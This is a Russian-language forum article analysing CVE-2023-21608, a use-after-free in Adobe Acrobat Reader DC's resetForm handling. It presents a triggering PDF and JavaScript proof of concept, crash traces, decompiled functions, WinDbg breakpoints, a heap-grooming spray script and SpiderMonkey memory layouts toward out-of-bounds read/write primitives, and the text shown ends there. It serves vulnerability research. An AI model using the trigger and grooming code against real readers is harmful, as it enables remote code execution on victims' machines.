Статья - Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости | Форум информационной безопасности

В этой статье мы рассмотрим, как использовалась уязвимость use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.

Об уязвимости

Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Adobe Acrobat Reader DC. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.

Конкретный баг был найден в методе resetForm. Уязвимость возникает из-за отсутствия проверки существования объекта перед выполнением операций над ним.

CVE ID

CVE-2023-21608

Vendor

Ссылка скрыта от гостей

Products

Acrobat 2020 - 20.005.30418 и более ранние
Acrobat Reader 2020 - 20.005.30418 и более ранние
Acrobat DC - 22.003.20282и более ранние
Acrobat Reader DC - 22.003.20282 и более ранние

Proof of Concept

Пример ниже содержит статическое текстовое поле с именем testField, встроенное в PDF-документ.

Код:

5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (testField)
/FT /Tx
/Rect [0 0 0 0]
>>

Ниже приведена соответствующая часть JavaScript кода, которая вызывает ошибку.

JavaScript:

var testField = this.getField("testField");

testField.richText = true;
testField.setAction("Calculate", "calculateCallback()");

try { this.resetForm(); } catch (e) {}
try { this.resetForm(); } catch (e) {}  // bug is triggered during this resetForm call

function calculateCallback()
{
  event.__defineGetter__("target", getterFunc);
  event.richValue = this;
}

function getterFunc()
{
  try { Object.defineProperty(testField, "textFont", { value: this }); } catch(e) { }
}

Crash State

Включите функцию page-heap для AcroRd32.exe и откройте файл crash.pdf с помощью программы Acrobat Adobe Reader DC.

Код:

eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07            mov     eax,dword ptr [edi]  ds:002b:420fefd0=????????

Примечание: Весь анализ и эксплуатация, описанные в этой заметке, выполнены на Adobe Acrobat Reader DC версии 2022.001.20085 x86.

Stack Trace

Код:

0:000> kb
 # ChildEBP RetAddr      Args to Child      
00 04f6a0fc 6c552a50     00001742 408bcff0 00000000 AcroForm!CAgg::operator[](unsigned short)+0xe
01 04f6a118 6bdfd922     43a38fb8 527e4ff0 408bcff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x30
02 04f6a16c 6bdfd803     43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnum+0xc3
03 04f6a184 692fe993     43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnumWrapper+0x13
WARNING: Stack unwind information not available. Following frames may be wrong.
04 04f6a19c 6c55298c     43a38fb8 6c552a20 04f6a1c8 AcroRd32!DllCanUnloadNow+0xa6553
05 04f6a1e4 6c552c3f     420fefd0 43a38fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
06 04f6a20c 6c552a56     420fefd0 46ed4ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
07 04f6a228 6bdfd922     503d4fb8 45970ff0 46ed4ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
08 04f6a27c 6bdfd803     503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnum+0xc3
09 04f6a294 692fe993     503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnumWrapper+0x13
0a 04f6a2ac 6c55298c     503d4fb8 6c552a20 04f6a2d8 AcroRd32!DllCanUnloadNow+0xa6553
0b 04f6a2f4 6c552c3f     505fafd0 503d4fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
0c 04f6a31c 6c552a56     505fafd0 3d259ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
0d 04f6a338 6bdfd922     4e5dcfb8 4948eff0 3d259ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
0e 04f6a38c 6bdfd803     4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnum+0xc3
0f 04f6a3a4 692fe993     4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnumWrapper+0x13
10 04f6a3bc 6c55298c     4e5dcfb8 6c552a20 04f6a3e8 AcroRd32!DllCanUnloadNow+0xa6553
11 04f6a404 6c552c3f     04f6afa8 4e5dcfb8 00000000 AcroForm!ESValToCAgg_internal+0x447
12 04f6a42c 6c552aea     04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
13 04f6a46c 6c513b35     04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAggWrapper+0x1e
14 04f6a4c8 6bddf79b     48cf2fb8 45230ff0 47cf6ff0 AcroForm!SetRichValueEventProp+0x1f5
15 04f6a534 6bddf5bc     3cdaef58 04f6a68c 04f6a568 EScript!sub_1003F620+0x17b
16 04f6a56c 6bdba592     3cdaef58 04f6a68c 04f6a68c EScript!sub_1003F4E7+0xd5
17 04f6a5a4 6bdba2fe     3cdaef58 04f6a68c 04f6a68c EScript!sub_1001A4D2+0xc0
18 04f6a64c 6bdd8a6b     3cdaef58 04f6a68c 04f6a68c EScript!sub_10019E93+0x46b
19 04f6a690 6bdd4cd7     3cdaef58 04f6aac0 4fdc2fcf EScript!sub_100389D2+0x99
1a 04f6ab00 6bdd246b     3cd5da60 6bdd24c0 00000438 EScript!js_Interpret+0x2828
1b 04f6ab4c 6bdd237b     3cdaef58 04f6ab60 3cdaef58 EScript!sub_10032412+0x59
1c 04f6ab88 6bdd22b0     3cdaef58 04f6abfc 3d1a4100 EScript!sub_10032315+0x66
1d 04f6abbc 6bdbb6b0     3cdaef58 04f6abfc 3d1a4100 EScript!js_Execute+0x7d
1e 04f6ac0c 6bdfa9c6     3cdaef58 04f6ac8c 00000000 EScript!JS_EvaluateUCScriptForPrincipals+0x8b
1f 04f6ac90 6bdfa6cb     3cdaef58 3d1a4100 4c93efd8 EScript!JS_EvaluateUCScript+0x4d
20 04f6ae44 6bdfa046     3d4f9ff0 49488fe0 49f3cff0 EScript!ESExecScript+0x10b
21 04f6ae90 6bdf8e23     3cdacfc0 390b4fb8 49d20fc0 EScript!AESEvaluateScript+0x3d
22 04f6af30 692fcbdf     1f2c0bd0 390b4fb8 49cf4fc0 EScript!ESExecuteScriptWithEvent+0x4a3
23 04f6af58 6c543fd4     1f2c0bd0 00000000 49cf4fc0 AcroRd32!DllCanUnloadNow+0xa479f
24 04f6b03c 6c543270     1f2c0bd0 5135cfa0 00000000 AcroForm!AFCalculateNthFieldEntry_x+0x4b8
25 04f6b074 6c545f65     1f2c0bd0 00000000 00001467 AcroForm!AFPDCalculateFields__internal+0xfd
26 04f6b0b0 6c5c4c37     1f2c0bd0 00000000 1f2c0bd0 AcroForm!AFPDCalculateFields+0x9f
27 04f6b1b0 6c50fa1c     1f2c0bd0 00000000 00000000 AcroForm!ResetForm(_t_PDDoc *, OPAQUE_64_BITS, unsigned short)+0x477
28 04f6b65c 6bdf3fb7     390b4fb8 45fe4ff0 5225afb8 AcroForm!resetFormHandler+0x5fc

Быстрая проверка с помощью команды !heap показывает, что это уязвимость use-after-free.

Код:

0:000> !ext.heap -p -a @edi
    address 420fefd0 found in
    _DPH_HEAP_ROOT @ 7831000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   372134ac:         420fe000             2000
    6e44ab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    770af766 ntdll!RtlDebugFreeHeap+0x0000003e
    770668ae ntdll!RtlpFreeHeap+0x0004e0ce
    770562ed ntdll!RtlpFreeHeapInternal+0x00000783
    77018786 ntdll!RtlFreeHeap+0x00000046
    755d3c9b ucrtbase!_free_base+0x0000001b
    755d3c68 ucrtbase!free+0x00000018
    6c2e7a56 AcroForm!operator delete(void *)+0x0000000b
    6c555f05 AcroForm!sub_20AD5ECD+0x00000038
    6c555e5f AcroForm!sub_20AD5E3B+0x00000024
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e1b AcroForm!sub_20AD5DE9+0x00000032
    6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
    6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
    6c5576c0 AcroForm!CAgg::convert(CAgg::CAggType)+0x00000045
    6c556d10 AcroForm!sub_20AD6CDD+0x00000033
    6c555efd AcroForm!sub_20AD5ECD+0x00000030
    6c555e5f AcroForm!sub_20AD5E3B+0x00000024
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e1b AcroForm!sub_20AD5DE9+0x00000032
    6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
    6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
    6c55766d AcroForm!sub_20AD75F2+0x0000007b
    6c551b9e AcroForm!CAggConvertToESValType(CAgg &)+0x0000001f
    6c551be0 AcroForm!CAggToESVal(_s_ESValRec *, CAgg &)+0x0000003d
    6c5131ce AcroForm!GetRichValueEventProp+0x0000011e
    6bdde176 EScript!sub_1003DF10+0x00000266
    6bde306d EScript!sub_10042FE8+0x00000085
    6bdb50fd EScript!sub_10014B57+0x000005a6
    6bdb4b4a EScript!sub_10014B17+0x00000033
    6bdddcd2 EScript!sub_1003DC6A+0x00000068

На данном этапе, имея на руках вышепоказанный анализ, мы решили углубиться в анализ почему эта ошибка возникает и посмотреть, сможем ли мы получить RCE в процессе "песочницы" Adobe Reader.

Анализ причины появления бага

Несколько моментов, которые следует отметить в этом PoC:

Ошибка возникает во время второго вызова resetForm
resetForm вызывает события вычисления для всех полей, если определен дескриптор Calculate.
В дескрипторе Calculate свойство target объекта события переопределяется пользовательской функцией getterFunc.
Внутри этой функции getterFunc свойство textFont поля переопределяется значением объекта doc.
Это приводит к сбою, когда присваивание event.richValue = this выполняется в дескрипторе Calculate.
Сбой можно отследить по стеку вызовов до соответствующей иерархии вызовов.

Код:

AcroForm!ResetForm                             | this.resetForm()
  AcroForm!AFPDCalculateFields
    AcroForm!AFCalculateNthFieldEntry    
      AcroForm!AFCalculateNthFieldEntry    
    AcroForm!AFCalculateNthFieldEntry    
      |- user defined callback is triggered.   | field Calculate handler invoked
        AcroForm!SetRichValueEventProp         | event.richValue = this

        .. some form of aggregation starts on richValue ..

          AcroForm!EScript_ESObjectEnum_CallbackProc
            AcroForm!CAgg::operator[](unsigned short)

Ошибка возникает, когда внутри SetRichValueEventProp начинается некая форма объединения значений, которая осуществляет перебор назначенного объекта this, являющегося экземпляром текущего объекта doc. Свойства и методы doc перебираются рекурсивно с помощью EScript!ESObjectEnum, который принимает обратный вызов, где перечисляемые сведения о свойствах передаются из EScript в AcroForm. Обратный вызов AcroForm!EScript_ESObjectEnum_CallbackProc запускается для каждого из перебираемых свойств.
Когда page-heap включен, сбой происходит в _DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3) при разыменовании указателя, который является объектом std::map в текущем контексте.

C++:

DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
{
  TREE_NODE *Myhead; // eax
  TREE_NODE *Parent; // ecx
  unsigned __int16 v5; // si
  int v6; // eax

  Myhead = this->_Myhead;  // crash location - page-heaps enabled
  Parent = this->_Myhead->_Parent;
  ...
}

После проверки вызывающей функции выяснилось, что функция int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID) отвечает за вставку значения в соответствующую std::map.

C++:

int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
{
  ...
  std::map<unsigned short,CAgg>::lower_bound(this, v8, pSomeID);  // Crashing path when page-heap is enabled
  v4 = v9;
  if ( sub_208E95F2(v9, pSomeID) )
  {
    ...
  }
  else
  {
    if ( this->_Mysize == 0x38E38E3 )
      Throw_tree_length_error();
    ...
    *(_DWORD *)a2 = std::map<unsigned short,CAgg>::insert(this, v8[0], (int)v8[1], Parent);
    ...
  }
  return result;
}

Приведенный выше код показывает, что при вставке значения в std::map создается новый аллокатор CAgg. Тестирование с помощью heap grooming и трюка .dvalloc показало, что функция std::map<unsigned short,CAgg>::insert также позволяет произвольную запись по выбранному адресу. Используя heap grooming, можно получить контроль над поврежденным указателем std::map, используемым в этом контексте, что дает возможность дальнейшей эксплуатации.

C++:

TREE_NODE *__thiscall std::map<unsigned short,CAgg>::insert(TREE_VAL *this, TREE_NODE *a2, int a3, TREE_NODE *a4)
{
 
  ++this->_Mysize;  // write possible here (single increment though)
                    // map length increase
  Myhead = this->_Myhead;
  v5 = a4;
  a4->_Parent = a2;
  if ( a2 != Myhead )
  {
    if ( a3 )
    {
      a2->_Left = a4;  // write is possible here and we can use this to corrupt length property of a ArrayBuffer
                       // mov dword ptr [eax], esi  ds:002b:13fa0000=45454545
      if ( a2 == Myhead->_Left )
        Myhead->_Left = a4;
    }
  }
   ...
}

Используя произвольную запись, можно нарушить длину ArrayBuffer и получить возможность чтения-записи out-of-bounds. Это позволяет читать условные данные из или записывать в места памяти, выходящие за границы ArrayBuffer.
Дальнейшее расследование того, как была повреждена карта, показало, что функция AcroForm!CAgg:

perator[](unsigned short) вызывала std::map<unsigned short,CAgg>:

perator[] с this->map. При исследовании объекта CAgg в отладчике было обнаружено, что он был освобожден и теперь контролируется пользователем. Это открывало возможность для дальнейшей эксплуатации уязвимости.

C++:

// Crash function 2
int __userpurge CAgg::operator[]@<eax>(CAgg *this@<ecx>, bool (*a2)[27]@<ebx>, wchar_t *someID)
{
  ...

  if ( this->type == 0x13 )  // *this == (CAgg::getType) | crashes here with page-heaps
                             // this is the freed pointer
  {
    ...
  }
  else
  {
    ...
    else
    {
      // this path is taken when page-heap is disabled and heap grooming is performed prior to bug trigger
      CAgg::convert(this, a2, 0x14);
      v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this->map, (int)v9, (unsigned __int16 *)&someID);
    }
    return *v4 + 24;
  }
}

Хотя на поврежденном объекте CAgg не было очевидных примитивов, можно было прочитать его тип с помощью this->type. Функция CAgg::operator[] была вызвана из EScript_ESObjectEnum_CallbackProc, которая запускается для каждого свойства, перечисляемого EScript!ESEnumObject. Это дало некоторое представление о том, как объект был поврежден и потенциально может быть использован.

C++:

int __usercall EScript_ESObjectEnum_CallbackProc@<eax>(
        bool (*ebx0)[27]@<ebx>,
        int a2,
        wchar_t *key_str,
        wchar_t *a4,
        int ***pCAggData)
{
  CAgg **pCagg; // edi
  unsigned __int16 someID; // ax
  CAgg *v7; // eax

  pCagg = (CAgg **)*pCAggData;  // AtomFromString retrieves some integer id from string
                                //
                                // bp AcroForm!sub_20AD2A20+0x22 "da poi(esp); gc"
                                //
  someID = (*(int (__cdecl **)(wchar_t *))(gCoreHFT + 20))(key_str);  // gCoreHFT->ASAtomFromString(a2);
  v7 = (CAgg *)CAgg::operator[]((CAgg *)pCagg, ebx0, (wchar_t *)someID);
  ESValToCAgg(v7, a4, 0);
  return 1;
}

В данном сценарии у нас возникла проблема с объектом pCagg. Этот объект уже был освобожден, но он все еще используется в функции обратного вызова EScript_ESObjectEnum_CallbackProc, где он передается в функцию ESValToCAgg.

Примечание: Эта функция является рекурсивной, поэтому проблема повторяется снова и снова.

Наш анализ показывает, что объекты CAgg выделяются внутри функции std::map<unsigned short,CAgg>::operator[] во время каждого перебора свойств при установке свойства richValue. Однако в процессе resetForm свойство event.target отлавливается с помощью __defineGetter__. Эта функция вызывается во время рекурсивного перебора свойств объекта doc. Когда происходит обращение к свойству target, вызывается функция getterFunc, которая переопределяет свойство textFont поля как объект doc. Это также устанавливает его non-configurable и non-enumerable.

Во время второго resetForm повторяется тот же процесс, но при повторном вызове getterFunc возникает исключение, поскольку свойство field.textFont теперь неконфигурируемо. Это вызывает другой путь при доступе к свойству event.richValue, который освобождает все объекты CAgg, которые были построены до сих пор. Путь освобождения кода вызывается, пока еще идет перечисление объектов, а когда оно завершается, запускается использование освобожденного объекта CAgg.

C++:

{
  ...
  v7 = 0;
  v8 = 15;
  LOBYTE(v6[0]) = 0;
  sub_2085ECA0(v6, "EventRichValueInProgress");
  sub_20AAE7D6(v15, a1, (int)v6[0], (int)v6[1], (int)v6[2], (int)v6[3], v7, v8);
  LOBYTE(v16) = 3;
  if ( v13
    && (*(unsigned __int16 (__thiscall **)(_DWORD, wchar_t *, const wchar_t *))(dword_21473CB8 + 180))(
          *(_DWORD *)(dword_21473CB8 + 180),
          v13,
          "richValue") )
  {
    PointerType = (CAgg *)ASCabGetPointerTypeSafe<CAgg *>(v13, (wchar_t *)"richValue", (wchar_t *)"CAgg_P");
    if ( PointerType )
      CAggToESVal(0, v11, PointerType);  // frees all CAggs and maps
  }
  ...
}

Вышеизложенную гипотезу можно проверить с помощью отладчика, установив следующие брейкпоинты в WinDbg.

Код:

bp AcroForm!resetFormHandler
bp AcroForm!EScript_ESObjectEnum_CallbackProc ".printf \"-- [^] property: %ma - \\n \", poi(esp+8); gc;"
bp AcroForm!uninit_sub_20AA701F+0x25 ".printf \"    - alloc: %p \\n \", @eax; .echo; gc"
bp AcroForm!GetRichValueEventProp+0x119 ".printf \" ------------free code path \\n \"; gc"
bp AcroForm!sub_20AD5DE9 ".printf \"[map] root: %p size %p \\n \", poi(@ecx), poi(@ecx+4); gc;"
bp AcroForm!sub_20AD5DE9+0x36 ".printf \"   [+] PTR_1 freed: %p \\n \", poi(@esi); gc"
bp AcroForm!sub_20AD6CDD+0x3c ".printf \"   [+] PTR_2 freed: %p \\n \", @esi; gc"
bp AcroForm!sub_20AD5ECD+0x33 ".printf \"   [+] block freed: %p \\n \", @esi; gc"
bp AcroForm!ESValToCAgg_internal+0x403 ".printf \"   [+] pData: %p \\n \", @ecx; gc"

Ниже приведен результат вывода трассировки из указанных брейкпоинтов.

Код:

   [+] pData: 00afb1e8
 -- [^] property: ADBCAnnotEnumerator -
     - alloc: 64b3cfb8

     ... all other properties ....

-- [^] property: textFont -
     - alloc: d41d0fb8                       <- CAgg* allocated here

   [+] pData: d41d0fd0                       <- std::map inside CAgg
 -- [^] property: change -
     - alloc: 6951bfb8

     ... all other properties ....
 
-- [^] property: rc -
     - alloc: c7b8efb8

 ------------free code path
 ...

[map] root: d2d14fb8 size 0000018f
 [map] root: ee802fb8 size 00000041
    [+] block freed: ce58efb8
    [+] block freed: e0dd6fb8
    ...
 [map] root: e4826fb8 size 00000008
    ...
    [+] PTR_1 freed: e4826fb8
    [+] block freed: d41d0fb8                <-  CAgg* freed here
    [+] block freed: c211afb8
    ...
 [map] root: d2bdcfb8 size 00000000
    [+] PTR_1 freed: d2bdcfb8
    [+] block freed: 6c43efb8
    [+] block freed: d3612fb8
    ...

 -- [^] property: richValue -

(1ba0.f80): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 382C19E:0

eax=00afa330 ebx=00000000 ecx=d41d0fd0 edx=7af18ff8 esi=6fa3ef50 edi=d41d0fd0
eip=6e6b6b99 esp=00afa310 ebp=00afa33c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6e6b6b99 8b07            mov     eax,dword ptr [edi]  ds:002b:d41d0fd0=abcdbbba

0:000> dc d41d0fb8
d41d0fb8  00000000 00000000 00000000 00000000  ................
d41d0fc8  00000000 00000000 abcdbbba 07971000  ................
d41d0fd8  00000010 00001000 00000000 00000000  ................
d41d0fe8  09009a6c dcbabbba 00000000 ffffff82  l...............
d41d0ff8  3b5fafc0 c0c0c001 c0c0c0c0 c0c0c0c0  .._;............
d41d1008  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
d41d1018  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
d41d1028  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................

В отладчике мы видим поврежденный объект std::map pData: d41d0fd0, который является частью освобожденного объекта CAgg, выделенного во время перечисления свойства textFont alloc: d41d0fb8
Когда реализуется путь свободного кода, все объекты и объекты карты освобождаются. Позже к этому же указателю обращаются при обработке перечисления свойств richValue, что приводит к возникновению условия use-after-free.

Примечание: Во время тестирования для контроля условия use-after-free мы не нашли путей кода, которые позволили бы нам перераспределить освобожденную память таким образом, чтобы это можно было использовать.

Однако мы обнаружили, что определенные размеры объектов могут привести к сбою Adobe Acrobat Reader при разыменовании распыленного шаблона, что дает нам возможность использовать ошибку для удаленного выполнения кода (RCE).

Heap Grooming

C++:

var blockRefs = [];

function groomLFH(size, count) {
  log("[+] Grooming LFH blocks of size: " + size + " count: " + count);

  const code =
      "%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u4141%u4242%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";
  const string = unescape(code);

  for (var i = 0; i < count; i++) {
      blockRefs.push(string.substr(0, (size - 2) / 2).toUpperCase());
  }

  for (var i = 0; i < blockRefs.length; i += 2) {
      blockRefs[i] = null;
      delete blockRefs[i];
  }
}

groomLFH(68, 4000);

При помощи аллокации кучи с объектом размером 68 мы смогли контролировать сбой. Размер разрушающегося объекта был первоначально найден методом перебора.
Примечание: grooming был выполнен до того, как сработал UaF. Мы вернемся к этому позже.

Код:

eax=04b7a854 ebx=04b7a8b4 ecx=42424141 edx=4e4e4d4d esi=6921ef50 edi=42424141
eip=6c3695af esp=04b7a838 ebp=04b7a838 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
AcroForm!CAgg::operator[](unsigned short)+0x3:
6c3695af 8b01            mov     eax,dword ptr [ecx]  ds:002b:42424141=????????

В функции crashing мы видим, что значение, управляемое пользователем, разыменовывается.
Источник аллокации можно проверить в WinDbg, как показано ниже.

Код:

0:015> !ext.heap -p -a 36f76fb8
    address 36f76fb8 found in
    _DPH_HEAP_ROOT @ 9801000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                36f51924:         36f76fb8               48 -         36f76000             2000
    6fb1a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    76fbef0e ntdll!RtlDebugAllocateHeap+0x00000039
    76f26150 ntdll!RtlpAllocateHeap+0x000000f0
    76f257fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    76f253fe ntdll!RtlAllocateHeap+0x0000003e
    75d00166 ucrtbase!_malloc_base+0x00000026
    6aaaee40 AcroForm!operator new(unsigned int)+0x0000001a
    6acf7044 AcroForm!sub_20AA701F+0x00000025
    6ad25a56 AcroForm!sub_20AD5A43+0x00000013
    6ad25fba AcroForm!std::map<unsigned short,CAgg>::operator[](unsigned short const&)+0x00000057
    6ad26bc5 AcroForm!CAgg::operator[](unsigned short)+0x0000003a
    6ad22a50 AcroForm!EScript_ESObjectEnum_CallbackProc+0x00000030
    ...
    6ace3b35 AcroForm!SetRichValueEventProp+0x000001f5
    ...

При дальнейшем изучении того, что вызывало контролируемый сбой в качестве heap-grooming до срабатывания ошибки, мы заметили, что массив распыленных строковых объектов также используется во время агрегации, когда выполняется resetForm. Внутри CAggToESVal, когда тип объекта - строка, срабатывает следующий код, который создает новую строку из CAgg.

C++:

int __usercall CAggToESVal@<eax>(bool (*a1)[27]@<ebx>, wchar_t *a2, CAgg *a3)
{
  ...
  else
    {
      m_str = (_EStrRec **)CAgg::toEStr(a3, a1);
      if ( *m_str )
        v14 = EStrCopyImpl(*m_str);
      else
        v14 = 0;
      if ( EStrGetEncoding((MayBeString *)v14) )
        EStrSetEncoding(v14, 2);
      v15 = dword_21472158;
      Bytes = EStrGetBytes((MayBeString *)v14);
      result = (*((int (__cdecl **)(wchar_t *, int))v15 + 31))(a2, Bytes);  // ESValSetString
      if ( v14 )
        return EStrDelete(v14);
    }
}

Важной деталью, которую следует отметить, является вызов EScript!ESValSetString для создания нового содержимого строки из строкового объекта CAgg (которые являются нашими распыленными строковыми объектами). ESValSetString вызывает sub_1003EBD2 для создания строки с заданным содержимым, который далее отвечает за выделение буфера кучи длиной в строку и копирование в него содержимого исходной строки.

Код:

char **__usercall sub_1003EBD2@<eax>(__int128 a1@<xmm0>, int a2, wchar_t *a3)
{
  ...
  sub_1003E853((int *)a2);
  if ( a3
    && strlen_0(a3, 0x7FFFFFFFu, 0) > 1
    && (*(_BYTE *)a3 == 0xFE && *((_BYTE *)a3 + 1) == 0xFF || *(_BYTE *)a3 == 0xFF && *((_BYTE *)a3 + 1) == 0xFE) )
  {
    v24 = 0;
    v22 = 0x7FFFFFFF;
    _mm_lfence();
    v3 = miStrlen(a3, v22, v24);
    v4 = JS_malloc_Wrapper(*(_DWORD *)a2, v3);  // reallocate freed buffer again when string length is 0x48
    Block = (char *)v4;
    if ( v4 )
    {
      v25 = v3;
      v23 = (char *)v4;
      v21 = (char *)(a3 + 1);
      _mm_lfence();
      swab(v21, v23, v25);
      return JS_NewUCString(a1, *(_DWORD **)a2, Block, v3 / 2 - 1);
    }
    return 0;
  }
  ...
}

В приведенном выше коде JS_malloc_Wrapper перераспределяет освобожденный буфер CAgg при обработке большого количества строк, позволяя нам перераспределить буфер с данными, управляемыми пользователем. Когда этот распыленный буфер позже используется в функциях CAgg::*, это приводит к сбою при разыменовании данных, управляемых пользователем.

Внутренние компоненты SpiderMonkey в EScript.API

Spidermonkey в Firefox - это JavaScript-движок, используемый в Adobe Reader через плагин EScript.API для обработки JavaScript, встроенного в PDF-файлы. Чтобы эффективно использовать эту ошибку, нам необходимо понять, как объекты JavaScript реализованы в Spidermonkey и как организована их память.

Double хранятся в полном 64-битном значении IEEE-754.
Другие jsval, такие как числа, строки, объекты и т.д. используют 32-бит для маркировки типа и 32-бит для хранения фактического значения (или указателя на объект).

ArrayBuffer

Мы будем использовать ArrayBuffer для распыления управляемых пользователем данных по предсказуемым адресам и искажения длины произвольно большим целым значением для получения out-of-bounds read-write примитивов. Давайте посмотрим, как он представлен в памяти.
Реализация ArrayBuffer имеет 0x10 байт заголовок + содержимое, равному указанному размеру.

Код:

4ef0cbf0  00000000 00000400 3cc31450 00000000  ........P..<.... +0x4: length, +0x8: TypedArray pointer
4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........ actual contents starts here
4ef0cc10  00000000 00000000 00000000 00000000  ................
4ef0cc20  00000000 00000000 00000000 00000000  ................
4ef0cc30  00000000 00000000 00000000 00000000  ................
4ef0cc40  00000000 00000000 00000000 00000000  ................
4ef0cc50  00000000 00000000 00000000 00000000  ................
4ef0cc60  00000000 00000000 00000000 00000000  ................

Длина хранится по адресу 0x4
Если инициализируется массив TypedArray, то по адресу 0x8 находится указатель на массив TypedArray.
Наконец, у вас есть фактические данные, управляемые пользователем

В EScript.api функция sub_10131A2C отвечает за выделение ArrayBuffer указанной длины. Если размер ArrayBuffer меньше 0x68, то для хранения данных используется встроенное представление. В противном случае создается блок памяти указанного размера и заполняется нулями.

Код:

char __thiscall sub_10131A2C(void **this, int a2, size_t Size, void *Src)
{
  _DWORD *v5; // eax
  void *v7; // eax
  unsigned __int8 v10; // [esp-4h] [ebp-10h]

  if ( Size <= 0x68 )  // if size is less may be inline buffer creation | does not use heap
                       // heap -p -a @buffer failed to show any trace
  {
    this[3] = this + 10;  // address to our ArrayBuffer->buffer | this+0x28
    _mm_lfence();
    if ( Src )
      memcpy(this[3], Src, Size);
    else
      memset(this[3], 0, Size);
    v7 = this[3];
  }
  else
  {
    v10 = 0;
    _mm_lfence();
    v5 = sub_1013153C((wchar_t *)a2, Size, Src, (_DWORD *)v10);
    if ( !v5 )
      return 0;
    v7 = v5 + 4;
    this[3] = v7;
  }
  *((_DWORD *)v7 - 4) = 0;
  *((_DWORD *)v7 - 3) = Size;  // length of the ArrayBuffer
  *((_DWORD *)v7 - 1) = 0;     // typed array pointer initialized to nullptr
  *((_DWORD *)v7 - 2) = 0;
  return 1;
}

Массив

Код:

var a = new Array();
a[0] = 0x41424142
a[1] = 0x55555555;
a[2] = "javascript";
a[3] = {};

Мы будем использовать Array для достижения примитива addrOf (адрес). Ниже приведено представление массива JavaScript в памяти.

Код:

0d9a2678  00000000 00000004 00000006 00000004  ................ 0x0: flag, 0x4: initLength, 0x8: capacity, 0xc: length
0d9a2688  41424142 ffffff81 55555555 ffffff81  BABA....UUUU.... (value, tag) for each value
0d9a2698  0d735fe0 ffffff85 0d9bf200 ffffff87  ._s.............
0d9a26a8  00000000 00000000 00000000 00000000  ................
0d9a26b8  00000000 00000000 00000000 00000000  ................
0d9a26c8  00000000 00000000 00000000 00000000  ................
0d9a26d8  00000000 00000000 00000000 00000000  ................
0d9a26e8  00000000 00000000 00000000 00000000  ................

sub_1004DBA9 в EScript.api отвечает за создание массивов и может отслеживаться при распылении массивов.
